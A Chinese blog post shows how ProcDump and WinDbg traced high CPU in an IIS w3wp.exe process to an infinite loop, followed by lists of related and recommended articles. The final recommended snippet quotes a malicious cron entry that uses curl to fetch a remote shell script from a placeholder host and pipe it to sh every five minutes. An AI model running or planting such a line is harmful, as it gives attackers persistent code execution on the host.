最近发布在windows  server2012  IIS8.0上的一个WebAPI项目,才几十个人在线,CPU就会出现过百情况,并且CPU一旦过百应用程序池就自动暂停掉,看到这个问题我感觉应该是程序哪个地方出了问题, 8盒16G 应该配置还是可以的。打算使用windbg找到这个问题。

为了快速定位问题我就直接在生产环境安装了windbg,为了采集dump文件,我选择Procdump。Procdump无需安装,下载下来直接放到一个目录下即可。以下是解决问题的过程+截图:

步骤一:

安装windbg,注意32和64,要安装相应的版本,直接点击下一步即可。

步骤二:

Copy Procdump 文件到服务器上的一个目录下,目录没有限制

如图:C:\software\Procdump,这里的dbghelp.dll是从windbg安装目录下copy过来的,是我为了解决下面这个坑:调试High CPU问题的时候经常用到的一个命令是!runaway,但是有些时候!runway在ProcDump抓取的dump中提取不出来。解决的方法是将Debug Tools for Windows (windbg)安装目录下的dbghelp.dll拷贝到procdump目录下,然后再运行命令抓取dump。

0:000> !runaway ERROR: !runaway: extension exception 0x80004002.

"Unable to get thread times - dumps may not have time information"

步骤三:

在doc窗口下执行procdump命令,cd /d c:\Software\Procdump

步骤四:

执行procdum命令,执行 procdump -c 50 -s 4 -ma -n 3 w3wp    命令含义为:当w3wp.exe  cpu超过50%,并且持续4秒,抓取3个dump文件存储起来,存储位置默认为procdump文件所在的目录。

如图:

出现如图结果证明已经进入监控状态。接下来就是等着CPU超过50%了。

没过一会就看到效果了

dump文件已经抓取到,我们来看下dump文件存储位置:

那么接下来就是开始分析了。

步骤五:

启动已经安装好的Windbg,开始分析采集的dump文件

步骤六:

为了不影响正在运行的项目,我将发布的项目文件单独从copy了一份出来,如图所示:我是web api项目

步骤七:

设置系列目录:

Windbg->file->Symbol File Path

Windbg->file->Source File Path

步骤八:

加载dump文件

Windbg->file->open Crash Dump

先选择第一个dump文件。

步骤九:

载入sos.dll  执行.load C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SOS.DLL

我是4.0 的 注意版本 64位

步骤十:

!threadpool  查看当前CPU状况 线程数等等

步骤十一:

执行 !runaway 命令  查看那几个线程使用的高

步骤十二:

~线程IDs 跳转到那个线程

步骤十三:

!clrstack 看看这个线程再干嘛 执行那些方法

步骤十四:

将图中红框列出来的方法去项目中查找下,发现了问题:

重载方法的时候参数传递不正确,出现了死循环,至此问题得到了解决。

参考文档 :http://blog.csdn.net/qyee16/article/details/19069883

https://ss64.com/nt/procdump.html

http://www.cnblogs.com/junchu25/p/3785790.html

http://www.cnblogs.com/cuiweifu/p/3786461.html

Windbg+Procdump解决w3wp.exe CPU过百问题的更多相关文章

  1. w3wp.exe CPU过百问题

    w3wp.exe CPU过百问题 最近发布在windows  server2012  IIS8.0上的一个WebAPI项目,才几十个人在线,CPU就会出现过百情况,并且CPU一旦过百应用程序池就自动暂 ...

  2. 解决w3wp.exe占用CPU和内存问题

    在WINDOWS2003+IIS6下,经常出现w3wp的内存占用不能及时释放,从而导致服务器响应速度很慢.可以做以下配置进行改善:1.在IIS中对每个网站进行单独的应用程序池配置.即互相之间不影响.2 ...

  3. 解决ccSvcHst.exe CPU占用超50%的问题,及其缘由

    无意中发现任务管理器中一个非常奇特的进程,迅速吃掉了我50%的cpu资源,并且是持续性的,于是上google一番查找,终于有了新的发现. 非常多问答产品所有都是清一色的 错误解决方式: 正常情况下,系 ...

  4. w3wp.exe(IIS ) CPU 占用 100% 的常见原因及解决办法

    对于IIS 管理员来说,经常会碰到 Web 服务器 CPU 占用 100% 的情况,以下是个人的日常工作总结和一些解决办法,主要用来剖析 w3wp.exe(IIS )  占用 CPU 100% 的一些 ...

  5. 再记一次w3wp占用CPU过高的解决过程(Dictionary和线程安全)

    在此之前项目有发生过两次类似的状况,都得以解决,但最近又会发现偶尔CPU会跑满,虽然之前使用过WinDbg解决过两次问题但人的记忆是不可靠的,今天处理同样问题的时候还是遇到了一些障碍,这一次希望可以记 ...

  6. 解决服务器上 w3wp.exe 和 sqlservr.exe 的内存占用率居高不下的方案

    SQL Server是如何使用内存 最大的开销一般是用于数据缓存,如果内存足够,它会把用过的数据和觉得你会用到的数据统统扔到内存中,直到内存不足的时候,才把命中率低的数据给清掉.所以一般我们在看sta ...

  7. w3wp.exe(IIS ) CPU 占用 100% 的常见原因

    引起 w3wp.exe(IIS ) Cpu 占用 100% 的常见原因如下: 1. Web 访问量大,从而服务器压力大而引起的 2. 动态页面(.aspx)的程序逻辑复杂程度 3. 页面程序中有死循环 ...

  8. W3wp.exe占用CPU及内存资源

    问题背景 最近使用一款系统,但是经常出现卡顿或者用户账号登录不了系统.后来将问题定位在了服务器中的“w3wp.exe”这个进程.在我们的用户对系统进行查询.修改等操作后,该进程占用大量的CPU以及内存 ...

  9. w3wp.exe占用CPU100%的解决办法

    w3wp.exe占用CPU100%的解决办法 说点关于W3WP.EXE的知识. Q : W3WP.EXE,应用程序,应用程序池之间的关系 A : 一个应用程序池可以包含多个应用程序,一个应用程序池创建 ...

随机推荐

  1. [海蜘蛛] 海蜘蛛 V8 全线无限试用版 免费发布破解教程

    http://bbs.p52.cn/forum.php?mod=viewthread&tid=3499&extra=page%3D1&page=1&_dsign=79c ...

  2. VC++导出具有命名空间的函数

    问题现象 原因分析 解决的方法 1 问题现象 导出具有命名空间的函数和类.源码例如以下: 头文件MiniMFC.h namespace MiniMFC { __declspec(dllexport) ...

  3. linux安装experss搭建本地服务器

    准备nodejs和npm 保证本地安装了nodeJS和npm,如果没有安装的话,通过下面的命令进行安装: sudo apt-get install nodejs //安装nodeJS sudo apt ...

  4. Hive表的建立和导入导出数据

    Hive是Hadoop的常用工具之一,Hive查询语言(HiveQL)的语法和SQL类似,基本实现了SQL-92标准. 1. 表的建立 编写以下的文件: USE test; DROP TABLE IF ...

  5. sync_binlog

    sync_binlogMySQL提供一个sync_binlog参数来控制数据库的binlog刷到磁盘上去.虽然binlog也有binlog cache,但是MySQL并没有控制binlog cache ...

  6. Array相关的属性和方法

    这里只是做了相关的列举,具体的使用方法,请参考网址. Array 对象属性 constructor 返回对创建此对象的数组函数的引用. var test=new Array(); if (test.c ...

  7. 微软Xbox One无线手柄控制机器人

    ROS中的joy包提供了游戏手柄的驱动,并且包含joy_node节点,这一节点可以发布包含手柄按钮和轴信息的Joy消息.在终端中输入下面命令,安装joy包: $ sudo apt-get instal ...

  8. Reading CheckBoxes and Radio Buttons

    Input tags with the type attribute checkbox can be grouped like radio buttons so that several checkb ...

  9. phoneGap+jquery mobile项目经验

        最近一个月,一直在用phoneGap+jquery mobile来开发一项目. 下面谈谈自己在开发过程中遇到的一些问题以及解决方法. 开始选择框架时,曾试过采用其他框架做UI,例如chocol ...

  10. curl定时任务下载执行

    服务器入侵后有定时任务执行如下,通过cron,下载脚本并执行!达到杀不死的木马进程 */5 * * * * curl -fsSL http://xxxx/pm.sh?0111 | sh curl参数解 ...